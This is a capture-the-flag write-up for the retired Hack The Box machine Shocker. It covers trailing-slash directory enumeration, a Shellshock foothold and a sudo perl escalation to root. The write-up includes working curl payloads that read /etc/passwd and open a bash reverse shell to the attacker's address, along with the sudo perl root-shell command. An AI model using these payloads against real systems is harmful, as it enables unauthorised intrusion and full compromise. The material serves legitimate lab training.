Target: Hack The Box, retired. Ubuntu, Apache 2.4.18, at 10.10.10.56.
The exploit here is trivial once you have found the script. Finding the script is the box. The reason it is hard is a real Apache configuration detail that breaks default directory brute forcing, and people who fail this box do not fail at Shellshock - they fail at enumeration and conclude there is nothing there.
Attack path
Apache on 80
|
v
/cgi-bin/ (only resolves WITH the trailing slash)
|
v
user.sh
|
v
Shellshock via User-Agent --> shell as shelly
|
v
sudo perl NOPASSWD --> root
Enumeration
export TARGET=10.10.10.56
nmap -p- --min-rate 10000 -oA scans/all-ports "$TARGET"
nmap -sC -sV -p 80,2222 -oA scans/services "$TARGET"
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open ssh OpenSSH 7.2p2
SSH on 2222 rather than 22 is worth noting, and is not the path.
The step that decides the box
A normal directory scan finds nothing. Apache’s config is:
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
That alias matches only with the trailing slash. /cgi-bin returns 404, so
any scanner that does not append one misses the directory completely.
feroxbuster -u "http://$TARGET" -f # -f forces a trailing slash
# then look inside, with script extensions
feroxbuster -u "http://$TARGET/cgi-bin/" -x sh,cgi,pl
user.sh is there. Requesting it returns “Just an uptime test script” plus real
uptime output, so it is a shell script the server is executing.
Foothold: Shellshock
CGI copies request headers into environment variables, and a vulnerable bash evaluates whatever follows a function definition in one.
Confirm first:
nmap -sV -p80 --script http-shellshock \
--script-args uri=/cgi-bin/user.sh "$TARGET"
curl -H 'User-Agent: () { :;}; echo; /bin/cat /etc/passwd' \
"http://$TARGET/cgi-bin/user.sh"
Then the shell, with a listener on 443:
nc -lvnp 443
curl -H 'User-Agent: () { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.14.24/443 0>&1' \
"http://$TARGET/cgi-bin/user.sh"
Why the payload looks like that:
() { :;};is the empty function definition that triggers the parser bug.echo;emits the blank line CGI needs between headers and body. Without it your command runs and you see nothing, which is the usual reason people believe the target is not vulnerable./bin/bashis written absolute because$PATHis empty in the CGI environment.
That lands as shelly.
Root: sudo perl
sudo -l
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
perl runs arbitrary code by design, so a sudo right on it is a root shell:
sudo perl -e 'exec "/bin/bash";'
Worth knowing
The takeaway is the -f flag, not the box name. Guessing /cgi-bin/ works here
because the machine is called Shocker. It will not work on a target that is not
named after its own vulnerability, and forcing the trailing slash is the habit
that generalises.